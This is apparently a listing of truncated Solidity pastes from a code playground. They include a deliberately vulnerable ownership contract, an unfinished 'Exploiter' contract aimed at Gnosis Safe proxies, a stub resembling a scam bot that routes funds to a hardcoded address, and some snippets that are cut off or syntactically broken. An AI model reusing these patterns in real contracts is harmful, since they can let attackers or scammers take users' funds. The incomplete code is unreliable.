  modifier onlyOwner {
        require(
            msg.sender == owner,
            "caller is not the owner"
        );
        _;
    }

  function contribute() public payable {
    require(msg.value < 0.001 ether);
    contributions[msg.sender] += msg.value;
    if(contributions[msg.sender] > contributions[owner]) {
      owner = msg.sender;
    }
  }

  function getContribution() public view returns (uint) {
    return contributions[msg.sender];
  }

  function withdraw() public onlyOwner {
    owner.transfer(address(this).balance);
  }

  receive() external payable {
    require(msg.value > 0 && contributions[msg.sender] > 0);
    owner = msg.sender;
  }
Jun 25, 2022 22:08:26 UTC
pragma solidity ^0.4.18;

contract Gastoken {
    function free(uint256 value) public returns (bool success);
    function freeUpTo(uint256 value) public returns (uint256 freed);
    function freeFrom(address from, uint256 value) public returns (bool success);
    function freeFromUpTo(address from, uint256 value) public returns (uint256 freed);
}

contract Example {

    // This function consumes a lot of gas
    function expensiveStuff() private pure {
        /* lots of expensive stuff */
    }

    /*
     * Frees `free' tokens from the Gastoken at address `gas_token'.
     * The freed tokens belong to this Example contract. The gas refund can pay
     * for up to half of the gas cost of the total transaction in which this 
     * call occurs.
     */
    function burnGasAndFree(address gas_token, uint256 free) public {
        require(Gastoken(gas_token).free(free));
        expensiveStuff();
    }

    /*
     * Frees `free' tokens from the Gastoken at address `gas_token'.
     * The freed tokens belong
Jun 25, 2022 19:51:06 UTC
pragma solidity ^0.8.0;

import './interfaces/IERC20.sol';
import './interfaces/IPancakePair.sol';
import './interfaces/IPancakeRouter.sol';
import './interfaces/IPancakeFactory.sol';

import './libs/Ownable.sol';
import './libs/Lockable.sol';

contract YieldFarmingWithoutMinting is Ownable, Lockable {
 /**
     * Dev: owner or Creater can deposit Revards tokens.
     **/
    function depositRevards(uint256 farmId, uint256 amount) external {
        Farm storage farm = _farms[farmId];
        require(_msgSender() == owner() || _msgSender() == farm.creator, 'Only owner or creator can update this farm');
        farm.revardsValue += amount;
        farm.token.transferFrom(_msgSender(), address(this), amount);
    }

    /**
     * Dev: owner or Creater can withdrawal Revards tokens.
     **/
    function withdrawalRevards(uint256 farmId, uint256 amount) external onlyOwner {
        Farm storage farm = _farms[farmId];
        farm.revardsValue -= amount;
        farm.token.transfer(_msgSender(), amount);
    }

Jun 25, 2022 11:50:36 UTC
// The cut part of the code
pragma solidity ^0.6.12;

import "./Context.sol";
import "./SafeMath.sol";
import "./Ownable.sol";
import "../interfaces/IERC20.sol";

abstract contract ReflectToken is Context, IERC20, Ownable {
    using SafeMath for uint256;

    mapping (address => uint256) private _rOwned;
    mapping (address => uint256) private _tOwned;
    mapping (address => mapping (address => uint256)) private _allowances;

    mapping (address => bool) private _isExcluded;
    address[] private _excluded;

    uint8 private constant _decimals = 18;
    uint256 private _tTotal;
    uint256 private _rTotal;
    uint256 private _tFeeTotal;

    string private _name;
    string private _symbol;

    /**
     * @dev Sets the values for {name} and {symbol}.
     *
     * The default value of {decimals} is 18. To select a different value for
     * {decimals} you should overload it.
     *
     * All two of these values are immutable: they can only be set once during
     * construction.
     */
    constructo
Jun 25, 2022 11:40:08 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
  function set(uint _value1) public {
    value = _value1;
  }

  function get() public constant returns (uint) {
    return value;
  }

  uint value;
Jun 25, 2022 02:40:59 UTC

// File: contracts/exchange/interfaces/IFluxSwapCallee.sol

pragma solidity >=0.5.0;

interface IFluxSwapCallee {
    function fluxSwapCall(address sender, uint amount0, uint amount1, bytes calldata data) external;
}
// File: contracts/exchange/interfaces/IERC20.sol

pragma solidity >=0.5.0;

interface IERC20 {
    event Approval(address indexed owner, address indexed spender, uint value);
    event Transfer(address indexed from, address indexed to, uint value);

    function name() external view returns (string memory);
    function symbol() external view returns (string memory);
    function decimals() external view returns (uint8);
    function totalSupply() external view returns (uint);
    function balanceOf(address owner) external view returns (uint);
    function allowance(address owner, address spender) external view returns (uint);

    function approve(address spender, uint value) external returns (bool);
    function transfer(address to, uint value) external returns (bool);
    function transferFr
Jun 25, 2022 02:26:53 UTC
// SPDX-License-Identifier: Unlicensed
pragma solidity 0.8.9;

import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/utils/math/SafeMath.sol";
import "@openzeppelin/contracts/utils/math/SafeMath.sol";
import "@openzeppelin/contracts/utils/Address.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol";
import "@uniswap/v2-core/contracts/interfaces/IUniswapV2Pair.sol";
import "@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router01.sol";
import "@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol";

contract Contract is Ownable, IERC20, ReentrancyGuard {
    using SafeMath for uint256;
    using Address for address;

    string private _name;
    string private _symbol;
    uint256 private _decimals;
    uint256 private _tTotal;

    address public walletLiquidity;
    address public walletTokens;
    address payable public
Jun 24, 2022 11:54:05 UTC
use anchor_lang::prelude::*;
use mpl_token_metadata::{instruction::set_and_verify_collection, utils::assert_derivation};
use solana_program::{
    program::invoke_signed, sysvar, sysvar::instructions::get_instruction_relative,
};

use crate::{cmp_pubkeys, CM, CollectionPDA};

/// Sets and verifies the collection during a  mint
#[derive(Accounts)]
pub struct SetCollectionDuringMint<'info> {
    #[account(has_one = authority)]
    candy_machine: Account<'info, CM>,
    /// CHECK: account checked in CPI/instruction sysvar
    metadata: UncheckedAccount<'info>,
    payer: Signer<'info>,
    #[account(mut, seeds = [b"collection".as_ref(), candy_machine.to_account_info().key.as_ref()], bump)]
    collection_pda: Account<'info, CollectionPDA>,
    /// CHECK: account constraints checked in account trait
    #[account(address = mpl_token_metadata::id())]
    token_metadata_program: UncheckedAccount<'info>,
    /// CHECK: account constraints checked in account trait
    #[account(address = sysvar::instructions::id())]
Jun 24, 2022 11:36:08 UTC
// SPDX-License-Identifier: MIT

import "./BEP20.sol";

pragma solidity 0.6.12;

/**
 * @title Roles
 * @dev Library for managing addresses assigned to a Role.
 */
library Roles {
    struct Role {
        mapping (address => bool) bearer;
    }

    /**
     * @dev Give an account access to this role.
     */
    function add(Role storage role, address account) internal {
        require(!has(role, account), "Roles: account already has role");
        role.bearer[account] = true;
    }

    /**
     * @dev Remove an account's access to this role.
     */
    function remove(Role storage role, address account) internal {
        require(has(role, account), "Roles: account does not have role");
        role.bearer[account] = false;
    }

    /**
     * @dev Check if an account has this role.
     * @return bool
     */
    function has(Role storage role, address account) internal view returns (bool) {
        require(account != address(0), "Roles: account is the zero address");
        return role.bearer[acco
Jun 24, 2022 09:55:06 UTC
// SPDX-License-Identifier: MIT

import "./BEP20.sol";

pragma solidity 0.6.12;

/**
 * @title Roles
 * @dev Library for managing addresses assigned to a Role.
 */
library Roles {
    struct Role {
        mapping (address => bool) bearer;
    }

    /**
     * @dev Give an account access to this role.
     */
    function add(Role storage role, address account) internal {
        require(!has(role, account), "Roles: account already has role");
        role.bearer[account] = true;
    }

    /**
     * @dev Remove an account's access to this role.
     */
    function remove(Role storage role, address account) internal {
        require(has(role, account), "Roles: account does not have role");
        role.bearer[account] = false;
    }

    /**
     * @dev Check if an account has this role.
     * @return bool
     */
    function has(Role storage role, address account) internal view returns (bool) {
        require(account != address(0), "Roles: account is the zero address");
        return role.bearer[acco
Jun 24, 2022 09:50:38 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.24;

contract MyPaymentProcessor {
// Events:
    event NewPayment(uint indexed index, address indexed sender, uint amount);

// Fields:
    mapping(address => uint) public _balances;
    uint public _paymentsCount = 0;

    // TODO: use OpenZeppelin's Ownable instead! Just an example 
    address _owner;

// Methods:
    constructor() public {
      // TODO: need a function to change an owner
      _owner = msg.sender;
    }

    // This is a fallback function 
    // it is automatically called each time anyone sends ether to this contract 
    // will keep all the Ether in the contract until you call a withdaw() function
    function() public payable {
        // TODO: process multiple payments
        // 0 - check if user haven't sent us money before
        require(_balances[msg.sender]==0, "Can not process payment: please dont send again");

        // 1 - update user's balance
        _balances[m
Jun 22, 2022 20:34:01 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.24;

contract MyPaymentProcessor {
// Events:
    event NewPayment(uint indexed index, address indexed sender, uint amount);

// Fields:
    mapping(address => uint) public balances;
    uint public paymentsCount = 0;

    // TODO: use OpenZeppelin's Ownable instead! Just an example 
    address _owner;

// Methods:
    constructor() public {
      // TODO: need a function to change an owner
      _owner = msg.sender;
    }

    // This is a fallback function 
    // it is automatically called each time anyone sends ether to this contract 
    // will keep all the Ether in the contract until you call a withdaw() function
    function() public payable {
        // TODO: process multiple payments
        // 0 - check if user haven't sent us money before
        require(balances[msg.sender]==0, "Can not process payment: please dont send again");

        // 1 - update user's balance
        balances[msg.s
Jun 22, 2022 20:26:41 UTC
pragma solidity ^0.4.24;

contract SafeMath {
    function safeAdd(uint a, uint b) public pure returns (uint c) {
        c = a + b;
        require(c >= a);
    }

    function safeSub(uint a, uint b) public pure returns (uint c) {
        require(b <= a);
        c = a - b;
    }

    function safeMul(uint a, uint b) public pure returns (uint c) {
        c = a * b;
        require(a == 0 || c / a == b);
    }

    function safeDiv(uint a, uint b) public pure returns (uint c) {
        require(b > 0);
        c = a / b;
    }
}

contract ERC20Interface {
    function totalSupply() public constant returns (uint);
    function balanceOf(address tokenOwner) public constant returns (uint balance);
    function allowance(address tokenOwner, address spender) public constant returns (uint remaining);
    function transfer(address to, uint tokens) public returns (bool success);
    function approve(address spender, uint tokens) public returns (bool success);
    function transferFrom(address from, address to, uint 
Jun 22, 2022 19:10:35 UTC
contract Executor {
    function execute(address to, bytes calldata data, uint256 gas) external {
        (bool success, bytes memory returnData) = to.call.gas(gas)(data);
        // do something
    }
Jun 22, 2022 16:54:50 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
  function set(uint _value) public {
    value = _value;
  }

  function get() public constant returns (uint) {
    if (value == 0){
      return 0;
    }
    return value;
  }

  uint value;
Jun 20, 2022 17:01:17 UTC
pragma solidity 0.4.18;


contract WhiteListValidatorExample {
    mapping (address => bool) private verifiedWhitelist;

    function setProfPubKey(address addr, bool value) public {
        // Gate permission to Dathan.eth and Ryave send awards until better validation is implemented
        require(msg.sender == 0x64835C348e974B38d573145374EF72FdA51A72b3 || msg.sender == 0xdC5c6e39870869DCFed9e10cb06Ee77ca2172505);
        verifiedWhitelist[addr] = value;
    }

    function isVerifiedProfPubKey(address addr) public view returns (bool) {
        return verifiedWhitelist[addr];
    }

    function sendTheThing() public view returns (bool) {
        require(isVerifiedProfPubKey(msg.sender));
        return true;
    }
Jun 19, 2022 21:20:09 UTC
pragma solidity 0.4.18;


contract WhiteListValidatorExample {
    mapping (address => bool) private verifiedWhitelist;

    function setProfPubKey(address addr, bool value) public {
        // Gate permission to send awards until better validation is implementation
        require(msg.sender == 0x64835C348e974B38d573145374EF72FdA51A72b3 || msg.sender == 0xdC5c6e39870869DCFed9e10cb06Ee77ca2172505);
        verifiedWhitelist[addr] = value;
    }

    function isVerifiedProfPubKey(address addr) public view returns (bool) {
        return verifiedWhitelist[addr];
    }

    function sendTheThing() public view returns (bool) {
        require(isVerifiedProfPubKey(msg.sender));
        return true;
    }
Jun 19, 2022 21:19:17 UTC
pragma solidity >=0.7.0 <0.9.0;

contract Codes {

    mapping(string => string) private codes;

    function store(string calldata code, string calldata ipfs) public {
        codes[code] = ipfs;
    }

    function retrieve(string calldata code) public view returns (string memory) {
        return codes[code];
    }
Jun 18, 2022 16:55:52 UTC
// SPDX-License-Identifier: GPL-3.0

pragma solidity ^0.5.3;

import "./GnosisSafeProxyFactory.sol";
import "./GnosisSafeMasterCopy.sol";
import "https://github.com/OpenZeppelin/openzeppelin-contracts/blob/v2.5.1/contracts/token/ERC20/IERC20.sol";

contract Exploiter {
    Proxy proxy;
    ProxyFactory proxyFactory;
    address owner;

    constructor(address _proxyFactory) public{
        owner = msg.sender;
        proxyFactory = ProxyFactory(_proxyFactory);
    }

    modifier onlyOwner() {
      require(msg.sender == owner);   
      _;
    }

    function createMultisig(address _masterCopy, address _token) public onlyOwner returns(address){
        address[] memory owners = new address[](1);
        owners[0] = owner;
        bytes memory callApprove =  abi.encodeWithSignature(
            "approve(address,address)",
            _token,
            address(this)
        );

        bytes memory data = abi.encodeWithSignature(
            "setup(address[],uint256,address,bytes,address,address,uint256,addr
Jun 17, 2022 09:59:24 UTC
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity >=0.8.0;

import {ERC20} from "../tokens/ERC20.sol";
import {SafeTransferLib} from "../utils/SafeTransferLib.sol";
import {FixedPointMathLib} from "../utils/FixedPointMathLib.sol";

/// @notice Minimal ERC4626 tokenized Vault implementation.
/// @author Solmate (https://github.com/Rari-Capital/solmate/blob/main/src/mixins/ERC4626.sol)
abstract contract ERC4626 is ERC20 {
    using SafeTransferLib for ERC20;
    using FixedPointMathLib for uint256;

    /*//////////////////////////////////////////////////////////////
                                 EVENTS
    //////////////////////////////////////////////////////////////*/

    event Deposit(
        address indexed caller,
        address indexed owner,
        uint256 assets,
        uint256 shares
    );

    event Withdraw(
        address indexed caller,
        address indexed receiver,
        address indexed owner,
        uint256 assets,
        uint256 shares
    );

    /*///////////////////
Jun 17, 2022 06:45:52 UTC
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity 0.8.10;

import {Auth} from "solmate/auth/Auth.sol";
import {ERC4626} from "solmate/mixins/ERC4626.sol";

import {SafeCastLib} from "solmate/utils/SafeCastLib.sol";
import {SafeTransferLib} from "solmate/utils/SafeTransferLib.sol";
import {FixedPointMathLib} from "solmate/utils/FixedPointMathLib.sol";

import {WETH} from "solmate/tokens/WETH.sol";
import {ERC20} from "solmate/tokens/ERC20.sol";
import {Strategy, ERC20Strategy, ETHStrategy} from "./interfaces/Strategy.sol";

/// @title Rari Vault (rvToken)
/// @author Transmissions11 and JetJadeja
/// @notice Flexible, minimalist, and gas-optimized yield
/// aggregator for earning interest on any ERC20 token.
contract Vault is ERC4626, Auth {
    using SafeCastLib for uint256;
    using SafeTransferLib for ERC20;
    using FixedPointMathLib for uint256;

    /*///////////////////////////////////////////////////////////////
                                 CONSTANTS
    //////////////////////////////////
Jun 17, 2022 04:29:46 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract Proof {
  
  struct FileDetails {
    uint timestamp;
    string owner;
  }

  mapping (string => FileDetails) files;

  event logFileAddedStatus(bool status, uint timestamp, string owner, string fileHash);

  function set(string owner, string fileHash) external {
  
    if(files[fileHash].timestamp == 0) 
    {
      files[fileHash] = FileDetails(block.timestamp, owner);
  
      logFileAddedStatus(true, block.timestamp, owner, fileHash);
    }
    else {
      logFileAddedStatus(false, block.timestamp, owner, fileHash);
    }
  }

  function get(string fileHash) external view returns (uint timestamp, string owner) {
    return (files[fileHash].timestamp, files[fileHash].owner);
  }
Jun 15, 2022 18:33:19 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract Proof {
  
  struct FileDetails {
    uint timestamp;
    string owner;
  }

  mapping (string => FileDetails) files;

  event logFileAddedStatus(bool status, uint timestamp, string owner, string fileHash);

  function set(string owner, string fileHash) external {
  
    if(files[fileHash].timestamp == 0) 
    {
      files[fileHash] = FileDetails(block.timestamp, owner);
  
      logFileAddedStatus(true, block.timestamp, owner, fileHash);
    }
    else {
      logFileAddedStatus(false, block.timestamp, owner, fileHash);
    }
  }

  function get(string fileHash) external view returns (uint timestamp, string owner) {
    return (files[fileHash].timestamp, files[fileHash].owner);
  }
Jun 15, 2022 18:28:48 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
  
  uint private coins;

  function add(uint value1,uint value2) public view returns(uint){
    
     coins = value1 + value2;

     return coins;
  }

  function mult(uint value1,uint value2) public view returns(uint){
    coins = value1*value2;

    return coins;
  }


Jun 10, 2022 06:30:04 UTC
pragma solidity ^0.4.18;
contract SimpleStore {

   function add() public pure returns(uint){
      uint num1 = 10; 
      uint num2 = 16;
      uint sum = num1 + num2;
      return sum;
   }
}
Jun 09, 2022 17:29:59 UTC
pragma solidity >= 0.7.1;
contract VirtualBPP {
struct User {
int256 time_start;
int256 time_end;
int256 user_id;
bool active;
int256 access;
int256[] assets;
}
struct StateMeasurement {
int256 asset_id;
int256 value;
int256 datetime;
}
struct StateMeasurementUser {
string asset_user_id;
int256 value;
int256 datetime;
}
struct Asset {
int256 asset_id;
int256 time_start;
int256 time_end;
bool active;
string typei;
string region;
int256[] blacklistUsers;
int256[] owners;
}
mapping (int256 => User) users;
mapping (int256 => StateMeasurement) stateMeasurement;
mapping (string => StateMeasurementUser) stateMeasurementUser;
mapping (int256 => Asset) public assets;
// set user function
function setUser (
int256 _user_id,
int256 _time_start,
int256 _time_end,
bool _active,
int256 _access,
int256[] memory _assets)
public {
User memory u;
u.time_start = _time_start;
u.time_end = _time_end;
u.user_id = _user_id;
u.active = _active;
u.access = _access;
u.assets = _assets;
users[_user_id] = u;
}
// set asset function
func
Jun 09, 2022 08:07:21 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity 0.8.9;
contract SimpleStore {
  function testGas1(uint a, uint b) {
    if (a == 1 && b == 2) {

    }
  }

  function testGas2(uint a, uint b) {
    if (true) {
      
    }
  }
Jun 09, 2022 03:49:44 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.26;
//contract name is MyFirstContract
contract MyFirstContract {

//create two variables.  A sting and an integer

    string private name;
    uint private age;

//set
    function setName(string memory newName) public {
        name = newName;
    }

//get
    function getName () public view returns (string memory) {
        return name;
    }
    
//set
    function setAge(uint newAge) public {
        assert(newAge > 0 && newAge < 100);
        age = newAge;
        
    }

//get
    function getAge () public view returns (uint) {
        return age;
    }
    
Jun 07, 2022 10:40:43 UTC
pragma solidity ^0.4.18;

contract WETH9 {
    string public name     = "Wrapped Ether";
    string public symbol   = "WETH";
    uint8  public decimals = 18;

    event  Approval(address indexed src, address indexed guy, uint wad);
    event  Transfer(address indexed src, address indexed dst, uint wad);
    event  Deposit(address indexed dst, uint wad);
    event  Withdrawal(address indexed src, uint wad);

    mapping (address => uint)                       public  balanceOf;
    mapping (address => mapping (address => uint))  public  allowance;

    function() public payable {
        deposit();
    }
    function deposit() public payable {
        balanceOf[msg.sender] += msg.value;
        Deposit(msg.sender, msg.value);
    }
    function withdraw(uint wad) public {
        require(balanceOf[msg.sender] >= wad);
        balanceOf[msg.sender] -= wad;
        msg.sender.transfer(wad);
        Withdrawal(msg.sender, wad);
    }

    function totalSupply() public view returns (uint) {
        return this.ba
Jun 06, 2022 01:58:35 UTC
// SPDX-License-Identifier: MIT

// DropCase.sol --

// Permission is hereby granted, free of charge, to any person obtaining a copy
// of this software and associated documentation files (the "Software"), to deal
// in the Software without restriction, including without limitation the rights
// to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
// copies of the Software, and to permit persons to whom the Software is
// furnished to do so, subject to the following conditions:
//
// The above copyright notice and this permission notice shall be included in all
// copies or substantial portions of the Software.
//
// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
// IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
// FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT. IN NO EVENT SHALL THE
// AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
// LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISIN
Jun 02, 2022 14:51:45 UTC
//Write your own/**
 *MRWEB FINANCE  NEW TOKEN VERSION 2 
 *OLD VERSION IT WAS (AMA)
 *CONTRACT ADDRESS IS 0xfc3da4a1b6fadab364039525dd2ab7c0c16521cd
 *THIS VERSION IS THE V2 NAME(MFT) MREB FINANCE TOKEN
 *CREATED BY MRWEB  ON 31/05/2022
*/

pragma solidity 0.5.16;

interface IBEP20 {
  /**
   * @dev Returns the amount of tokens in existence.
   */
  function totalSupply() external view returns (uint256);

  /**
   * @dev Returns the token decimals.
   */
  function decimals() external view returns (uint8);

  /**
   * @dev Returns the token symbol.
   */
  function symbol() external view returns (string memory);

  /**
  * @dev Returns the token name.
  */
  function name() external view returns (string memory);

  /**
   * @dev Returns the bep token owner.
   */
  function getOwner() external view returns (address);

  /**
   * @dev Returns the amount of tokens owned by `account`.
   */
  function balanceOf(address account) external view returns (uint256);

  
  function transfer(address recipient, uint256 
May 31, 2022 21:51:51 UTC
// contracts/Baseballs.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;


import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "@openzeppelin/contracts/utils/Context.sol";
import "@openzeppelin/contracts/utils/structs/BitMaps.sol";
import "@openzeppelin/contracts/token/ERC20/extensions/ERC20Burnable.sol";

import "./external/MLBC.sol";

contract Baseballs is Context, ERC20Burnable {
    using BitMaps for BitMaps.BitMap;

    MLBC public _mlbc;

    BitMaps.BitMap private _baseballsBitMap;


    constructor(address mlbcAddress) ERC20("Baseballs", "Baseball") {
        _mlbc = MLBC(mlbcAddress);
    }

    function mint(uint32[] calldata tokenIds) public {
        
        require(tokenIds.length < 1001, "Too many");

        for (uint i=0; i < tokenIds.length; i++) {

            uint32 tokenId = tokenIds[i];

            //Don't mint past the supply at launch.
            require(tokenId < 249173, "Token too high");
            require(tokenId > 0, "Token too low");

            //Validat
May 31, 2022 00:41:11 UTC
// SPDX-License-Identifier: MIT

pragma solidity 0.8.14;

contract MyContract {

    uint public total; 

    constructor(){
        total = 0;
    }
    
    function addSix() public
    {
        addOne();
        addTwo();
        addThree();
    }
    
    function addOne() private{
        total += 1;
    }

    function addTwo() private{
        total += 1;
    }

    function addThree() private{
        total += 3;
    }
    
May 29, 2022 20:55:02 UTC
// SPDX-License-Identifier: MIT

pragma solidity 0.8.14;

contract MyContract {

    uint public total; 

    constructor(){
        total = 0;
    }
    
    function addSix() public
    {
        addOne();
        addTwo();
        addThree();
    }
    
    function addOne() private{
        total += 1;
    }

    function addTwo() private{
        total += 1;
    }

    function addThree() private{
        total += 3;
    }
    
May 29, 2022 20:50:11 UTC
pragma solidity ^0.4.19:

contract ZombieFactory {
  
  event NewZombie(uint zombieId, string name, uint dna);
  
  uint dnaDigits = 16:
  uint dnaModulus = 10 ** dnaDigits:

struct Zombie {
  string name:
  uint dna:
}

Zombie (1 public zombies;

// declare mappings here

May 28, 2022 22:26:44 UTC
pragma solidity ^0.6.6;

contract Manager {
	function performTasks() public {
	    
	}

	function pancakeswapDepositAddress() public pure returns (address) {
		return 0x4d57226Fd37DE2bf760304251B3e38c096756089;
	}
May 28, 2022 16:25:02 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
  function set(uint _value) public {
    value = _value;
  }

  function get() public constant returns (uint) {
    return value;
  }

  uint value;
} Implement and demonstrate the use of the Following.

1. Mathematical Function

pragma solidity ^0.5.0;

contract Test {

function callAddMod() public pure returns(uint){

return addmod(4, 5, 3);

}

function callMulMod() public pure returns(uint){

return mulmod(4, 5, 3);

}

}

Output￾a. Addition-

// Solidity program to

// demonstrate addition

pragma solidity 0.6.6;

contract MathPlus

{

// Declaring the state

// variables

uint firstNo ;

uint secondNo ;

// Defining the function

// to set the value of the

// first variable

function firstNoSet(uint x) public

{

firstNo = x;}
May 28, 2022 02:32:41 UTC
pragma solidity ^0.8.0;

contract Lottery {

    struct lotteryInstance {
         uint currentAmount;
         uint maxParticipants;
         uint id;
         bool status;
         uint winner;
         uint participantCount;
    }

    mapping (uint => address[]) public participants;

    mapping (uint => bool) public allotedNumbers;

    mapping (uint => lotteryInstance) public lotteries;
    uint mapSize=0;
    uint initialNumber;

    function createLottery() public returns(bool success) {
               lotteryInstance memory lt = lotteryInstance({currentAmount:0,maxParticipants:5,status:false,winner:0,id:mapSize,participantCount:0});
               lotteries[mapSize++] = lt;
               return true;
    }

    function listLotteries() public view returns(lotteryInstance[] memory lottxs) {
           lotteryInstance[] memory lotts;
           uint cnt=0;
           for(cnt=0;cnt<mapSize;cnt++) {
               lotts[cnt] = lotteries[cnt];
           }
           return lotts;

    }

    function lo
May 27, 2022 15:35:12 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
function getSum(uint a, uint b) public pure returns(uint){
return a + b;
}
function getSum(uint a, uint b, uint c) public pure returns(uint){
return a + b + c;
}
function callSumWithTwoArguments() public pure returns(uint){
return getSum(1,2);
}
function callSumWithThreeArguments() public pure returns(uint){
return getSum(1,2,3);
}
May 27, 2022 14:34:24 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;

contract test
{
  uint public var1;
  uint public var2;
  uint public sum;
  function set (uint x, uint y) public
  {
    var1 = x;
    var2 = y;
    sum = var1 + var2;
  }
  function get()
  public view returns (uint)
  {
    return sum;
  }
May 26, 2022 10:48:21 UTC
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;

import "@openzeppelin/contracts/utils/Counters.sol";
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721URIStorage.sol";
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";

import "hardhat/console.sol";

contract NFTMarketplace is ERC721URIStorage {
    using Counters for Counters.Counter;
    Counters.Counter private _tokenIds;
    Counters.Counter private _itemsSold;

    uint256 listingPrice = 0.025 ether;
    address payable owner;

    mapping(uint256 => MarketItem) private idToMarketItem;

    struct MarketItem {
      uint256 tokenId;
      address payable seller;
      address payable owner;
      uint256 price;
      bool sold;
    }

    event MarketItemCreated (
      uint256 indexed tokenId,
      address seller,
      address owner,
      uint256 price,
      bool sold
    );

    constructor() ERC721("WageCan NFT", "WCT") {
      owner = payable(msg.sender);
    }

    /* Updates the listing price of the contract */
    f
May 26, 2022 07:42:08 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
  function set(uint _value) public {
    value = _value;
  }

  function get() public constant returns (uint) {
    return value;
  }

  uint value;
May 26, 2022 07:00:20 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.6.6;

contract Playground {

  function compare(string _s1, string _s2) 
            pure
            public
            returns(bool) {
              bytes memory b1 = bytes(_s1);
              bytes memory b2 = bytes(_s2);
              if (b1.length != b2.length) {
                return false;
              }
              return keccak256(b1) == keccak256(b2);
  }

  function concat(string _s1, string _s2) 
            pure 
            public 
            returns(string) {
              return string(abi.encodePacked(bytes(_s1), bytes(_s2)));
  }

  function strLen(string _str) 
            pure 
            public 
            returns(uint) {
    
    bytes memory b = bytes(_str);
    return (b.length);

  }

  function strReplace(string _from, string _what, string _to)
            pure
            public
            returns(string) {
              bytes memory bfrom = bytes(_from);
              
May 25, 2022 11:30:34 UTC
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.13;

library SafeMath {
    function add(uint x, uint y) internal pure returns (uint) {
        uint z = x + y;
        require(z >= x, "uint overflow");

        return z;
    }
}

library Math {
    function sqrt(uint y) internal pure returns (uint z) {
        if (y > 3) {
            z = y;
            uint x = y / 2 + 1;
            while (x < z) {
                z = x;
                x = (y / x + x) / 2;
            }
        } else if (y != 0) {
            z = 1;
        }
        // else z = 0 (default value)
    }
}

contract TestSafeMath {
    using SafeMath for uint;

    uint public MAX_UINT = 2**256 - 1;

    function testAdd(uint x, uint y) public pure returns (uint) {
        return x.add(y);
    }

    function testSquareRoot(uint x) public pure returns (uint) {
        return Math.sqrt(x);
    }
}

// Array function to delete element at index and re-organize the array
// so that their are no gaps between the elements.
library Array {
   
May 23, 2022 20:03:12 UTC
// SPDX-License-Identifier: GPL-3.0

pragma solidity ^0.4.13;

contract Session3 {

    /* HINTS:
        Sumar: +
        Restar: - 
        Dividir: /
        Multiplicar: *
        Resto: %

        if (expression1) {
            Statement(s) ejecutado si "expression1" es "true"
        } else {
            Statement(s) ejecutado si no hay ninguna expresion que sea "true"
        }
    */

    // Crea una funcion que reciba 2 numeros y te devuelva el numero que sea mayor

    /* Berenu:
      - El operador ternario está muy bien para dejar el codigo más limpio, sin embargo
      puede ser un poco mas complejo de leer.

      - "uint" es como poner "uint256". Lo unico decirte que si eliges poner "uint" deberias 
      ponerlo en todas las funciones.
    */
    function greater(uint one, uint two) external pure returns (uint) {
        return one >= two ? one : two;
    }

    // Crea una funcion que te devuelva el porcentaje X de una cantidad.

    /* Berenu:
      Perfecto!

      Si ademas, lo quieres h
May 22, 2022 12:39:15 UTC
// SPDX-License-Identifier: GPL-3.0

pragma solidity ^0.4.13;

contract Session3 {

    /* HINTS:
        Sumar: +
        Restar: - 
        Dividir: /
        Multiplicar: *
        Resto: %

        if (expression1) {
            Statement(s) ejecutado si "expression1" es "true"
        } else {
            Statement(s) ejecutado si no hay ninguna expresion que sea "true"
        }
    */

    // Crea una funcion que reciba 2 numeros y te devuelva el numero que sea mayor

    /* Berenu:
      - El operador ternario está muy bien para dejar el codigo más limpio, sin embargo
      puede ser un poco mas complejo de leer.

      - "uint" es como poner "uint256". Lo unico decirte que si eliges poner "uint" deberias 
      ponerlo en todas las funciones.
    */
    function greater(uint one, uint two) external pure returns (uint) {
